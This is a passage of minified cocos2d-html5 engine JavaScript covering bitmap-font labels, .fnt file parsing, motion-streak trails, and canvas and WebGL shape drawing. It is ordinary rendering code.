- !1;this.zf=g;this.vv=c;c=b.Ea.Dc(g.FM);(this.ma=g=c.ic)||c.Td(function(a){this.ma=!0;this.sa(a,this.wo.length);this.ed(this.wo,!0);this.Md()},this)}else c=new b.da,g=new Image,c.Rc(g),this.ma=!1;return this.sa(c,a.length)?(this.Vq=e||b.wu,this.Cv=f||b.d(0,0),this.qs=null==d?-1:d,this.fb=this.Bg=255,this.Ba=b.color(255,255,255,255),this.Qd=b.color(255,255,255,255),this.yf=this.sg=!0,this.Q.width=0,this.Q.height=0,this.nl(0.5,0.5),b.B===b.W&&(d=this.textureAtlas.texture,this.Pa=d.Ai(),e=this.IL=new b.D,
- e.sa(d,b.rect(0,0,0,0),!1),e.batchNode=this),this.ed(a,!0),!0):!1},fx:function(){var a=b.B,c=a===b.Aa?this.texture:this.textureAtlas.texture,d=0,e=b.size(0,0),f=0,g=1,h=this.Jb,k=h?h.length:0;if(0!==k){var m,p=this.zf,q=p.V2,r=p.xE,t=p.O0;for(m=0;m<k-1;m++)10==h.charCodeAt(m)&&g++;var s=r*g,g=-(r-r*g),u=-1;for(m=0;m<k;m++)if(r=h.charCodeAt(m),0!=r)if(10===r)d=0,g-=p.xE;else{var v=q[u<<16|r&65535]||0,x=t[r];if(x){var z=b.rect(x.rect.x,x.rect.y,x.rect.width,x.rect.height),z=b.ml(z);z.x+=this.Cv.x;z.y+=
- this.Cv.y;(u=this.Hh(m))?32===r&&a===b.Aa?u.qb(z,!1,b.size(0,0)):(u.qb(z,!1),u.visible=!0):(u=new b.D,32===r&&a===b.Aa&&(z=b.rect(0,0,0,0)),u.sa(c,z,!1),u.Pv=!0,this.M(u,0,m));u.opacityModifyRGB=this.Pa;b.B==b.W?(u.Hc(this.Ba),u.xc(this.fb)):(b.m.prototype.Hc.call(u,this.Ba),b.m.prototype.xc.call(u,this.fb),u.Ia());z=b.d(d+x.KQ+0.5*x.rect.width+v,g+(p.xE-x.LQ)-0.5*z.height*b.pb());u.T(b.TF(z));d+=x.W6+v;u=r;f<d&&(f=d)}else b.log("cocos2d: LabelBMFont: character not found "+h[m])}e.width=f;e.height=
- s;this.Fd(b.gQ(e))}},Wla:function(a){var c=this.u;if(c)for(var d=0,e=c.length;d<e;d++){var f=c[d];f&&(f.visible=!1)}this.zf&&this.fx();a||this.fg()},bl:function(){return this.wo},ed:function(a,c){a=String(a);null==c&&(c=!0);if(null==a||"string"!=typeof a)a+="";this.wo=a;this.TL(a,c)},kZ:function(a){this.ed(a,!1)},wja:function(a){this.ed(a,!0)},fg:function(){this.string=this.wo;if(0<this.qs){for(var a=this.Jb.length,c=[],d=[],e=1,f=0,g=!1,h=!1,k=-1,m=-1,p=0,q,r=0,t=this.u.length;r<t;r++){for(var s=
- 0;!(q=this.Hh(r+p+s));)s++;p+=s;if(f>=a)break;var u=this.Jb[f];h||(m=this.OB(q),h=!0);g||(k=m,g=!0);if(10==u.charCodeAt(0)){d.push("\n");c=c.concat(d);d.length=0;g=h=!1;k=m=-1;r--;p-=s;e++;if(f>=a)break;m||(m=this.OB(q),h=!0);k||(k=m,g=!0);f++}else if(this.cC(u))d.push(u),c=c.concat(d),d.length=0,h=!1,m=-1,f++;else if(this.$W(q)-k>this.qs)if(this.ZK){this.sM(d);d.push("\n");c=c.concat(d);d.length=0;g=h=!1;k=m=-1;e++;if(f>=a)break;m||(m=this.OB(q),h=!0);k||(k=m,g=!0);r--}else d.push(u),-1!=c.lastIndexOf(" ")?
- this.sM(c):c=[],0<c.length&&c.push("\n"),e++,g=!1,k=-1,f++;else d.push(u),f++}c=c.concat(d);r=c.length;q="";for(f=0;f<r;++f)q+=c[f];q+=String.fromCharCode(0);this.TL(q,!1)}if(this.Vq!=b.wu)for(c=f=0,a=this.Jb.length,d=[],e=0;e<a;e++)if(10==this.Jb[e].charCodeAt(0)||0==this.Jb[e].charCodeAt(0))if(r=0,g=d.length,0==g)c++;else{if(q=f+g-1+c,!(0>q)&&(r=this.Hh(q),null!=r)){r=r.Le()+r.fh()/2;h=0;switch(this.Vq){case b.Jq:h=this.width/2-r/2;break;case b.fI:h=this.width-r}if(0!=h)for(r=0;r<g;r++)(q=f+r+c,
- 0>q||!(q=this.Hh(q)))||(q.x+=h);f+=g;c++;d.length=0}}else d.push(this.Jb[f])},P4:function(a){this.Vq=a;this.fg()},KW:function(){return this.Vq},T4:function(a){this.qs=a;this.fg()},KB:function(){return this.qs},hka:function(a){this.ZK=a;this.fg()},gn:function(a,c){b.m.prototype.gn.call(this,a,c);this.fg()},Pp:function(a){b.m.prototype.Pp.call(this,a);this.fg()},qt:function(a){b.m.prototype.qt.call(this,a);this.fg()},Rja:function(a){if(null!=a&&a!=this.vv){var c=b.V.Cd(a);c?(this.vv=a,this.zf=c,a=b.Ea.Dc(c.FM),
- this.ma=c=a.ic,this.texture=a,b.B===b.Aa&&(this.jc=this.texture),c?this.fx():a.Td(function(a){this.ma=!0;this.texture=a;this.fx();this.Zd();this.fg();this.Md()},this)):b.log("cc.LabelBMFont.setFntFile() : Impossible to create font. Please check file")}},Kca:function(){return this.vv},nl:function(a,c){b.m.prototype.nl.call(this,a,c);this.fg()},RL:function(a){b.m.prototype.RL.call(this,a);this.fg()},aD:function(a){b.m.prototype.aD.call(this,a);this.fg()},bD:function(a){b.m.prototype.bD.call(this,a);
- this.fg()},P9:function(){},i$:function(a,c){var d=0;if(this.iW.W2){var e=this.iW.W2[(a<<16|c&65535).toString()];e&&(d=e.$$)}return d},OB:function(a){return a.Le()*this.ka-a.fh()*this.ka*a.Kc.x},$W:function(a){return a.Le()*this.ka+a.fh()*this.ka*a.Kc.x},cC:function(a){a=a.charCodeAt(0);return 9<=a&&13>=a||32==a||133==a||160==a||5760==a||8192<=a&&8202>=a||8232==a||8233==a||8239==a||8287==a||12288==a},sM:function(a){var c=a.length;if(!(0>=c)&&(c-=1,this.cC(a[c]))){for(var d=c-1;0<=d;--d)if(this.cC(a[d]))c=
- d;else break;this.RZ(a,c)}},RZ:function(a,c){var d=a.length;c>=d||0>c||a.splice(c,d)}});n=b.Cz.prototype;b.B!==b.Aa||b.pa.Bw||(n.Zd=function(){if(b.B!=b.W){var a,c=this.Ca();c&&0<c.Sf().width&&(a=c.Oa)&&(c=b.Ea.sx(this.jc.Oa))&&(a instanceof HTMLCanvasElement&&!this.Ac?b.Qm(a,c,this.Ba,null,a):(a=b.Qm(a,c,this.Ba),c=new b.da,c.Rc(a),c.sb(),this.Ya(c)))}});b.j(n,"string",n.bl,n.kZ);b.j(n,"boundingWidth",n.KB,n.T4);b.j(n,"textAlign",n.KW,n.P4);
- b.Cz.create=function(a,c,d,e,f){return new b.Cz(a,c,d,e,f)};
- b.DW={ZR:/info [^\n]*(\n|$)/gi,iR:/common [^\n]*(\n|$)/gi,YS:/page [^\n]*(\n|$)/gi,hR:/char [^\n]*(\n|$)/gi,fS:/kerning [^\n]*(\n|$)/gi,aS:/\w+=[^ \r\n]+/gi,$R:/^[\-]?\d+$/,Mr:function(a){a=a.match(this.aS);var c={};if(a)for(var d=0,e=a.length;d<e;d++){var f=a[d],g=f.indexOf("\x3d"),h=f.substring(0,g),f=f.substring(g+1);f.match(this.$R)?f=parseInt(f):'"'==f[0]&&(f=f.substring(1,f.length-1));c[h]=f}return c},U3:function(a,c){var d={};this.Mr(a.match(this.ZR)[0]);var e=this.Mr(a.match(this.iR)[0]);
- d.xE=e.lineHeight;if(b.B===b.W){var f=b.cp.Hr;(e.scaleW>f.width||e.scaleH>f.height)&&b.log("cc.LabelBMFont._parseCommonArguments(): page can't be larger than supported")}1!==e.pages&&b.log("cc.LabelBMFont._parseCommonArguments(): only supports 1 page");e=this.Mr(a.match(this.YS)[0]);0!==e.id&&b.log("cc.LabelBMFont._parseImageFileName() : file could not be found");d.FM=b.path.$o(c,e.file);for(var g=a.match(this.hR),h=d.O0={},e=0,f=g.length;e<f;e++){var k=this.Mr(g[e]);h[k.id]={rect:{x:k.x,y:k.y,width:k.width,
- height:k.height},KQ:k.xoffset,LQ:k.yoffset,W6:k.xadvance}}g=d.V2={};if(h=a.match(this.fS))for(e=0,f=h.length;e<f;e++)k=this.Mr(h[e]),g[k.first<<16|k.second&65535]=k.amount;return d},load:function(a,c,d,e){var f=this;b.V.$x(a,function(a,d){if(a)return e(a);e(null,f.U3(d,c))})}};b.V.Pj(["fnt"],b.DW);b.uH=b.m.extend({texture:null,hp:!1,Ni:!1,s:null,es:0,EB:0,am:0,kC:0,Ek:0,KC:0,EC:null,DC:null,Qa:null,Yn:null,Mf:null,cd:null,Zn:null,No:null,ub:"MotionStreak",ctor:function(a,c,d,e,f){b.m.prototype.ctor.call(this);this.Ag=b.d(0,0);this.s=new b.bc(b.SRC_ALPHA,b.ONE_MINUS_SRC_ALPHA);this.VD=b.l.createBuffer();this.Ni=this.hp=!1;this.texture=null;this.KC=this.Ek=this.kC=this.am=this.EB=this.es=0;this.No=this.Zn=this.cd=this.Mf=this.Yn=this.Qa=this.DC=this.EC=null;void 0!==f&&this.t2(a,c,d,e,f)},Ca:function(){return this.texture},
- Ya:function(a){this.texture!=a&&(this.texture=a)},Gh:function(){return this.s},pe:function(a,c){void 0===c?this.s=a:(this.s.src=a,this.s.R=c)},Ig:function(){b.log("cc.MotionStreak.getOpacity has not been supported.");return 0},Ta:function(){b.log("cc.MotionStreak.setOpacity has not been supported.")},rf:function(){},Uf:function(){return!1},xb:function(){b.m.prototype.xb.call(this);this.cd&&b.l.deleteBuffer(this.cd);this.No&&b.l.deleteBuffer(this.No);this.Zn&&b.l.deleteBuffer(this.Zn)},Tea:function(){return this.hp},
- Qja:function(a){this.hp=a},dfa:function(){return this.Ni},Mka:function(a){this.Ni=a},t2:function(a,c,d,e,f){if(!f)throw"cc.MotionStreak.initWithFade(): Invalid filename or texture";"string"===typeof f&&(f=b.Ea.Dc(f));b.m.prototype.T.call(this,b.d(0,0));this.anchorY=this.anchorX=0;this.ignoreAnchor=!0;this.Ni=!1;this.hp=!0;this.am=-1==c?d/5:c;this.am*=this.am;this.es=d;this.EB=1/a;a=(0|60*a)+2;this.Ek=0;this.DC=new Float32Array(a);this.EC=new Float32Array(2*a);this.Qa=new Float32Array(4*a);this.Mf=
- new Float32Array(4*a);this.Yn=new Uint8Array(8*a);this.kC=a;a=b.l;this.cd=a.createBuffer();this.No=a.createBuffer();this.Zn=a.createBuffer();this.s.src=a.SRC_ALPHA;this.s.R=a.ONE_MINUS_SRC_ALPHA;this.shaderProgram=b.Hd.nc(b.Vi);this.texture=f;this.color=e;this.N4();a.bindBuffer(a.ARRAY_BUFFER,this.cd);a.bufferData(a.ARRAY_BUFFER,this.Qa,a.DYNAMIC_DRAW);a.bindBuffer(a.ARRAY_BUFFER,this.No);a.bufferData(a.ARRAY_BUFFER,this.Mf,a.DYNAMIC_DRAW);a.bindBuffer(a.ARRAY_BUFFER,this.Zn);a.bufferData(a.ARRAY_BUFFER,
- this.Yn,a.DYNAMIC_DRAW);return!0},Qla:function(a){this.color=a;for(var c=this.Yn,d=0,e=2*this.Ek;d<e;d++)c[4*d]=a.r,c[4*d+1]=a.g,c[4*d+2]=a.b},reset:function(){this.Ek=0},T:function(a,c){this.Ni=!0;void 0===c?(this.Ag.x=a.x,this.Ag.y=a.y):(this.Ag.x=a,this.Ag.y=c)},Le:function(){return this.Ag.x},RP:function(a){this.Ag.x=a;this.Ni||(this.Ni=!0)},Jg:function(){return this.Ag.y},SP:function(a){this.Ag.y=a;this.Ni||(this.Ni=!0)},Z:function(a){1>=this.Ek||!this.texture||!this.texture.ic||(a=a||b.l,b.Xs(this),
- b.Ec(b.Jl),b.Kg(this.s.src,this.s.R),b.oe(this.texture),a.bindBuffer(a.ARRAY_BUFFER,this.cd),a.bufferData(a.ARRAY_BUFFER,this.Qa,a.DYNAMIC_DRAW),a.vertexAttribPointer(b.ob,2,a.FLOAT,!1,0,0),a.bindBuffer(a.ARRAY_BUFFER,this.No),a.bufferData(a.ARRAY_BUFFER,this.Mf,a.DYNAMIC_DRAW),a.vertexAttribPointer(b.vd,2,a.FLOAT,!1,0,0),a.bindBuffer(a.ARRAY_BUFFER,this.Zn),a.bufferData(a.ARRAY_BUFFER,this.Yn,a.DYNAMIC_DRAW),a.vertexAttribPointer(b.ve,4,a.UNSIGNED_BYTE,!0,0,0),a.drawArrays(a.TRIANGLE_STRIP,0,2*this.Ek),
- b.lf++)},update:function(a){if(this.Ni){a*=this.EB;var c,d,e,f,g=0,h=this.Ek,k=this.DC,m=this.EC,p=this.Qa,q=this.Yn;for(e=0;e<h;e++)k[e]-=a,0>=k[e]?g++:(c=e-g,0<g?(k[c]=k[e],m[2*c]=m[2*e],m[2*c+1]=m[2*e+1],f=2*e,d=2*c,p[2*d]=p[2*f],p[2*d+1]=p[2*f+1],p[2*(d+1)]=p[2*(f+1)],p[2*(d+1)+1]=p[2*(f+1)+1],f*=4,d*=4,q[d+0]=q[f+0],q[d+1]=q[f+1],q[d+2]=q[f+2],q[d+4]=q[f+4],q[d+5]=q[f+5],q[d+6]=q[f+6]):d=8*c,c=255*k[c],q[d+3]=c,q[d+7]=c);h-=g;e=!0;h>=this.kC?e=!1:0<h&&(a=b.$O(b.d(m[2*(h-1)],m[2*(h-1)+1]),this.Ag)<
- this.am,d=1==h?!1:b.$O(b.d(m[2*(h-2)],m[2*(h-2)+1]),this.Ag)<2*this.am,a||d)&&(e=!1);e&&(m[2*h]=this.Ag.x,m[2*h+1]=this.Ag.y,k[h]=1,k=8*h,e=this.Ba,q[k]=e.r,q[k+1]=e.g,q[k+2]=e.b,q[k+4]=e.r,q[k+5]=e.g,q[k+6]=e.b,q[k+3]=255,q[k+7]=255,0<h&&this.hp&&(1<h?b.KG(m,this.es,this.Qa,h,1):b.KG(m,this.es,this.Qa,0,2)),h++);this.hp||b.KG(m,this.es,this.Qa,0,h);if(h&&this.KC!=h){m=1/h;q=this.Mf;for(e=0;e<h;e++)q[4*e]=0,q[4*e+1]=m*e,q[2*(2*e+1)]=1,q[2*(2*e+1)+1]=m*e;this.KC=h}this.Ek=h}}});
- b.uH.create=function(a,c,d,e,f){return new b.uH(a,c,d,e,f)};b.Lz=b.m.extend({grid:null,ie:null,Hs:function(){return this.grid},h5:function(a){this.grid=a},uG:function(a){this.ie=a},M:function(a,c,d){b.m.prototype.M.call(this,a,c,d);a&&!this.ie&&(this.ie=a)},U:function(){if(this.Zb){var a=b.B==b.W,c=this.grid;a&&c&&c.nk&&c.xs();this.transform();var d=this.u;if(d&&0<d.length){var e=d.length;this.Sc();for(U=0;U<e;U++){var f=d[U];f&&f.U()}}a&&c&&c.nk&&c.ts(this.ie)}},FZ:function(){var a=this.KD,c=b.Ob.top,d=this.Ep(),e=a.c;e[0]=d.a;e[4]=d.C;e[12]=d.Ja;e[1]=d.b;
- e[5]=d.K;e[13]=d.Ka;e[14]=this.os;b.Ei(c,c,a);null==this.Yi||this.grid&&this.grid.nf()||(a=this.Ab.x,c=this.Ab.y,0!==a||0!==c?(b.jA||(a|=0,c|=0),b.Ap(a,c),this.Yi.Ws(),b.Ap(-a,-c)):this.Yi.Ws())}});n=b.Lz.prototype;b.B===b.W&&(n.transform=n.FZ);b.j(n,"target",null,n.uG);b.Lz.create=function(){return new b.Lz};b.Zla=function(){return{x:0,y:0}};b.tl=function(a,c){return{x:a,y:c}};b.re=function(a,c){return b.tl(a.x+c.x,a.y+c.y)};b.oc=function(a,c){return b.tl(a.x-c.x,a.y-c.y)};b.sd=function(a,c){return b.tl(a.x*c,a.y*c)};b.Yp=function(a){return b.tl(-a.y,a.x)};b.gg=function(a){return b.tl(-a.x,-a.y)};b.FQ=function(a,c){return a.x*c.x+a.y*c.y};b.Yla=function(a){return b.tl(Math.cos(a),Math.sin(a))};b.Ct=function(a){a=b.Ng(b.d(a.x,a.y));return b.tl(a.x,a.y)};b.we=function(a){return b.tl(a.x,a.y)};
- b.Ga=function(a){return{fa:a.x,ga:a.y}};
- b.zR=b.m.extend({ab:null,s:null,Yc:1,af:null,ub:"DrawNodeCanvas",ctor:function(){b.m.prototype.ctor.call(this);this.ab=[];this.af=b.color(255,255,255,255);this.s=new b.bc(b.ac,b.$b);this.ba()},Gh:function(){return this.s},pe:function(a,c){void 0===c?(this.s.src=a.src,this.s.R=a.R):(this.s.src=a,this.s.R=c)},nG:function(a){this.Yc=a},r1:function(){return this.Yc},Op:function(a){var c=this.af;c.r=a.r;c.g=a.g;c.b=a.b;c.a=null==a.a?255:a.a},Bd:function(){return b.color(this.af.r,this.af.g,this.af.b,this.af.a)},
- LE:function(a,c,d,e,f){e=e||this.Yc;f=f||this.Bd();null==f.a&&(f.a=255);a=[a,b.d(c.x,a.y),c,b.d(a.x,c.y)];c=new b.ik(b.Jd.ek);c.hg=a;c.lineWidth=e;c.Kj=f;c.Lx=!0;c.el=!0;c.lineCap="butt";if(c.fillColor=d)null==d.a&&(d.a=255),c.AF=!0;this.ab.push(c)},HE:function(a,c,d,e,f,g,h){g=g||this.Yc;h=h||this.Bd();null==h.a&&(h.a=255);for(var k=2*Math.PI/e,m=[],p=0;p<=e;p++){var q=p*k;m.push(b.d(c*Math.cos(q+d)+a.x,c*Math.sin(q+d)+a.y))}f&&m.push(b.d(a.x,a.y));a=new b.ik(b.Jd.ek);a.hg=m;a.lineWidth=g;a.Kj=h;
- a.Lx=!0;a.el=!0;this.ab.push(a)},KE:function(a,c,d,e,f,g){f=f||this.Yc;g=g||this.Bd();null==g.a&&(g.a=255);for(var h=[],k=0,m=0;m<e;m++)h.push(b.d(Math.pow(1-k,2)*a.x+2*(1-k)*k*c.x+k*k*d.x,Math.pow(1-k,2)*a.y+2*(1-k)*k*c.y+k*k*d.y)),k+=1/e;h.push(b.d(d.x,d.y));a=new b.ik(b.Jd.ek);a.hg=h;a.lineWidth=f;a.Kj=g;a.el=!0;a.lineCap="round";this.ab.push(a)},IE:function(a,c,d,e,f,g,h){g=g||this.Yc;h=h||this.Bd();null==h.a&&(h.a=255);for(var k=[],m=0,p=0;p<f;p++)k.push(b.d(Math.pow(1-m,3)*a.x+3*Math.pow(1-
- m,2)*m*c.x+3*(1-m)*m*m*d.x+m*m*m*e.x,Math.pow(1-m,3)*a.y+3*Math.pow(1-m,2)*m*c.y+3*(1-m)*m*m*d.y+m*m*m*e.y)),m+=1/f;k.push(b.d(e.x,e.y));a=new b.ik(b.Jd.ek);a.hg=k;a.lineWidth=g;a.Kj=h;a.el=!0;a.lineCap="round";this.ab.push(a)},GE:function(a,c,d,e){this.Lm(a,0.5,c,d,e)},Lm:function(a,c,d,e,f){e=e||this.Yc;f=f||this.Bd();null==f.a&&(f.a=255);for(var g=[],h,k,m=1/a.length,p=0;p<d+1;p++)k=p/d,1==k?(h=a.length-1,k=1):(h=0|k/m,k=(k-m*h)/m),h=b.tE(b.dd(a,h-1),b.dd(a,h-0),b.dd(a,h+1),b.dd(a,h+2),c,k),g.push(h);
- a=new b.ik(b.Jd.ek);a.hg=g;a.lineWidth=e;a.Kj=f;a.el=!0;a.lineCap="round";this.ab.push(a)},JE:function(a,c,d){d=d||this.Bd();null==d.a&&(d.a=255);var e=new b.ik(b.Jd.iI);e.hg=[a];e.lineWidth=c;e.fillColor=d;this.ab.push(e)},e0:function(a,c,d){if(a&&0!=a.length){d=d||this.Bd();null==d.a&&(d.a=255);for(var e=0,f=a.length;e<f;e++)this.JE(a[e],c,d)}},ME:function(a,c,d,e){d=d||this.Yc;e=e||this.Bd();null==e.a&&(e.a=255);var f=new b.ik(b.Jd.ek);f.hg=[a,c];f.lineWidth=2*d;f.Kj=e;f.el=!0;f.lineCap="round";
- this.ab.push(f)},i0:function(a,c,d,e){d=d||this.Yc;e=e||this.Bd();null==e.a&&(e.a=255);var f=new b.ik(b.Jd.ek);f.hg=a;f.fillColor=c;f.lineWidth=d;f.Kj=e;f.Lx=!0;f.el=!0;f.lineCap="round";c&&(f.AF=!0);this.ab.push(f)},Vd:function(a,c,d,e){for(var f=[],g=0;g<a.length;g++)f.push(b.d(a[g].x,a[g].y));return this.i0(f,c,d,e)},Z:function(a){a=a||b.l;this.s&&this.s.src==b.SRC_ALPHA&&this.s.R==b.ONE&&(a.globalCompositeOperation="lighter");for(var c=0;c<this.ab.length;c++){var d=this.ab[c];switch(d.type){case b.Jd.iI:this.uW(a,
- d);break;case b.Jd.uU:this.wW(a,d);break;case b.Jd.ek:this.vW(a,d)}}},uW:function(a,c){var d=c.fillColor,e=c.hg[0],f=c.lineWidth,g=b.view.ka,h=b.view.La;a.fillStyle="rgba("+(0|d.r)+","+(0|d.g)+","+(0|d.b)+","+d.a/255+")";a.beginPath();a.arc(e.x*g,-e.y*h,f*g,0,2*Math.PI,!1);a.closePath();a.fill()},wW:function(a,c){var d=c.Kj,e=c.hg[0],f=c.hg[1],g=c.lineWidth,h=c.lineCap,k=b.view.ka,m=b.view.La;a.strokeStyle="rgba("+(0|d.r)+","+(0|d.g)+","+(0|d.b)+","+d.a/255+")";a.lineWidth=g*k;a.beginPath();a.lineCap=
- h;a.moveTo(e.x*k,-e.y*m);a.lineTo(f.x*k,-f.y*m);a.stroke()},vW:function(a,c){var d=c.hg,e=c.lineCap,f=c.fillColor,g=c.lineWidth,h=c.Kj,k=c.Lx,m=c.AF,p=c.el;if(null!=d){var q=d[0],r=b.view.ka,t=b.view.La;a.lineCap=e;f&&(a.fillStyle="rgba("+(0|f.r)+","+(0|f.g)+","+(0|f.b)+","+f.a/255+")");g&&(a.lineWidth=g*r);h&&(a.strokeStyle="rgba("+(0|h.r)+","+(0|h.g)+","+(0|h.b)+","+h.a/255+")");a.beginPath();a.moveTo(q.x*r,-q.y*t);e=1;for(f=d.length;e<f;e++)a.lineTo(d[e].x*r,-d[e].y*t);k&&a.closePath();m&&a.fill();
- p&&a.stroke()}},clear:function(){this.ab.length=0}});
- b.AR=b.m.extend({Sn:0,ab:null,yj:null,hM:null,gM:null,Yc:1,af:null,s:null,hb:!1,ub:"DrawNodeWebGL",Gh:function(){return this.s},pe:function(a,c){void 0===c?(this.s.src=a.src,this.s.R=a.R):(this.s.src=a,this.s.R=c)},ctor:function(){b.m.prototype.ctor.call(this);this.ab=[];this.s=new b.bc(b.ac,b.$b);this.af=b.color(255,255,255,255);this.ba()},ba:function(){return b.m.prototype.ba.call(this)?(this.shaderProgram=b.Hd.nc(b.VH),this.mr(64),this.hM=b.l.createBuffer(),this.hb=!0):!1},nG:function(a){this.Yc=
- a},r1:function(){return this.Yc},Op:function(a){var c=this.af;c.r=a.r;c.g=a.g;c.b=a.b;c.a=a.a},Bd:function(){return b.color(this.af.r,this.af.g,this.af.b,this.af.a)},LE:function(a,c,d,e,f){e=e||this.Yc;f=f||this.Bd();null==f.a&&(f.a=255);a=[a,b.d(c.x,a.y),c,b.d(a.x,c.y)];null==d?this.jv(a,e,f,!0):this.Vd(a,d,e,f)},HE:function(a,c,d,e,f,g,h){g=g||this.Yc;h=h||this.Bd();null==h.a&&(h.a=255);var k=2*Math.PI/e,m=[],p;for(p=0;p<=e;p++){var q=p*k;m.push(b.d(c*Math.cos(q+d)+a.x,c*Math.sin(q+d)+a.y))}f&&
- m.push(b.d(a.x,a.y));g*=0.5;p=0;for(a=m.length;p<a-1;p++)this.ME(m[p],m[p+1],g,h)},KE:function(a,c,d,e,f,g){f=f||this.Yc;g=g||this.Bd();null==g.a&&(g.a=255);for(var h=[],k=0,m=0;m<e;m++)h.push(b.d(Math.pow(1-k,2)*a.x+2*(1-k)*k*c.x+k*k*d.x,Math.pow(1-k,2)*a.y+2*(1-k)*k*c.y+k*k*d.y)),k+=1/e;h.push(b.d(d.x,d.y));this.jv(h,f,g,!1)},IE:function(a,c,d,e,f,g,h){g=g||this.Yc;h=h||this.Bd();null==h.a&&(h.a=255);for(var k=[],m=0,p=0;p<f;p++)k.push(b.d(Math.pow(1-m,3)*a.x+3*Math.pow(1-m,2)*m*c.x+3*(1-m)*m*m*
- d.x+m*m*m*e.x,Math.pow(1-m,3)*a.y+3*Math.pow(1-m,2)*m*c.y+3*(1-m)*m*m*d.y+m*m*m*e.y)),m+=1/f;k.push(b.d(e.x,e.y));this.jv(k,g,h,!1)},GE:function(a,c,d,e){this.Lm(a,0.5,c,d,e)},Lm:function(a,c,d,e,f){e=e||this.Yc;f=f||this.Bd();null==f.a&&(f.a=255);for(var g=[],h,k,m=1/a.length,p=0;p<d+1;p++)k=p/d,1==k?(h=a.length-1,k=1):(h=0|k/m,k=(k-m*h)/m),h=b.tE(b.dd(a,h-1),b.dd(a,h-0),b.dd(a,h+1),b.dd(a,h+2),c,k),g.push(h);e*=0.5;a=0;for(c=g.length;a<c-1;a++)this.ME(g[a],g[a+1],e,f)},EY:function(){var a=b.l;b.Ec(b.Jl);
- a.bindBuffer(a.ARRAY_BUFFER,this.hM);this.hb&&(a.bufferData(a.ARRAY_BUFFER,this.yj,a.STREAM_DRAW),this.hb=!1);var c=b.ud.BYTES_PER_ELEMENT;a.vertexAttribPointer(b.ob,2,a.FLOAT,!1,c,0);a.vertexAttribPointer(b.ve,4,a.UNSIGNED_BYTE,!0,c,8);a.vertexAttribPointer(b.vd,2,a.FLOAT,!1,c,12);a.drawArrays(a.TRIANGLES,0,3*this.ab.length);b.Tf()},mr:function(a){var c=this.ab;if(c.length+a>this.Sn){var d=b.Sb.BYTES_PER_ELEMENT;this.Sn+=Math.max(this.Sn,a);if(null==c||0===c.length)this.ab=[],this.yj=new ArrayBuffer(d*
- this.Sn),this.gM=new Uint8Array(this.yj);else{a=[];for(var e=new ArrayBuffer(d*this.Sn),f=0;f<c.length;f++)a[f]=new b.Sb(c[f].a,c[f].b,c[f].C,e,f*d);this.gM=new Uint8Array(e);this.yj=e;this.ab=a}}},Z:function(){b.Kg(this.s.src,this.s.R);this.Eb.Ic();this.Eb.tt();this.EY()},JE:function(a,c,d){d=d||this.Bd();null==d.a&&(d.a=255);var e={r:0|d.r,g:0|d.g,b:0|d.b,a:0|d.a};d={i:{x:a.x-c,y:a.y-c},t:e,n:{fa:-1,ga:-1}};var f={i:{x:a.x-c,y:a.y+c},t:e,n:{fa:-1,ga:1}},g={i:{x:a.x+c,y:a.y+c},t:e,n:{fa:1,ga:1}};
- a={i:{x:a.x+c,y:a.y-c},t:e,n:{fa:1,ga:-1}};this.mr(6);this.ab.push(new b.Sb(d,f,g,this.yj,this.ab.length*b.Sb.BYTES_PER_ELEMENT));this.ab.push(new b.Sb(d,g,a,this.yj,this.ab.length*b.Sb.BYTES_PER_ELEMENT));this.hb=!0},e0:function(a,c,d){if(a&&0!=a.length){d=d||this.Bd();null==d.a&&(d.a=255);for(var e=0,f=a.length;e<f;e++)this.JE(a[e],c,d)}},ME:function(a,c,d,e){e=e||this.Bd();null==e.a&&(e.a=255);d=d||0.5*this.Yc;this.mr(18);e={r:0|e.r,g:0|e.g,b:0|e.b,a:0|e.a};var f=b.we(a);c=b.we(c);a=b.Ct(b.Yp(b.oc(c,
- f)));var g=b.Yp(a),h=b.sd(a,d);d=b.sd(g,d);var k=b.re(c,b.oc(h,d)),m=b.oc(c,h),p=b.re(c,h),q=b.oc(f,h),r=b.re(f,h),t=b.oc(f,b.oc(h,d)),f=b.re(f,b.re(h,d)),s=b.Sb.BYTES_PER_ELEMENT,u=this.yj,v=this.ab;v.push(new b.Sb({i:b.oc(c,b.re(h,d)),t:e,n:b.Ga(b.gg(b.re(a,g)))},{i:k,t:e,n:b.Ga(b.oc(a,g))},{i:m,t:e,n:b.Ga(b.gg(a))},u,v.length*s));v.push(new b.Sb({i:p,t:e,n:b.Ga(a)},{i:k,t:e,n:b.Ga(b.oc(a,g))},{i:m,t:e,n:b.Ga(b.gg(a))},u,v.length*s));v.push(new b.Sb({i:p,t:e,n:b.Ga(a)},{i:q,t:e,n:b.Ga(b.gg(a))},
- {i:m,t:e,n:b.Ga(b.gg(a))},u,v.length*s));v.push(new b.Sb({i:p,t:e,n:b.Ga(a)},{i:q,t:e,n:b.Ga(b.gg(a))},{i:r,t:e,n:b.Ga(a)},u,v.length*s));v.push(new b.Sb({i:t,t:e,n:b.Ga(b.oc(g,a))},{i:q,t:e,n:b.Ga(b.gg(a))},{i:r,t:e,n:b.Ga(a)},u,v.length*s));v.push(new b.Sb({i:t,t:e,n:b.Ga(b.oc(g,a))},{i:f,t:e,n:b.Ga(b.re(a,g))},{i:r,t:e,n:b.Ga(a)},u,v.length*s));this.hb=!0},Vd:function(a,c,d,e){if(null==c)this.jv(a,d,e,!0);else{null==c.a&&(c.a=255);null==e.a&&(e.a=255);d=d||this.Yc;d*=0.5;c={r:0|c.r,g:0|c.g,b:0|
- c.b,a:0|c.a};e={r:0|e.r,g:0|e.g,b:0|e.b,a:0|e.a};var f=[],g,h,k,m,p=a.length;for(g=0;g<p;g++){h=b.we(a[(g-1+p)%p]);k=b.we(a[g]);m=b.we(a[(g+1)%p]);var q=b.Ct(b.Yp(b.oc(k,h)));k=b.Ct(b.Yp(b.oc(m,k)));f[g]={offset:b.sd(b.re(q,k),1/(b.FQ(q,k)+1)),il:k}}q=0<d;this.mr(3*(3*p-2));var r=b.Sb.BYTES_PER_ELEMENT,t=this.yj,s=this.ab,u=!1==q?0.5:0;for(g=0;g<p-2;g++)h=b.oc(b.we(a[0]),b.sd(f[0].offset,u)),k=b.oc(b.we(a[g+1]),b.sd(f[g+1].offset,u)),m=b.oc(b.we(a[g+2]),b.sd(f[g+2].offset,u)),s.push(new b.Sb({i:h,
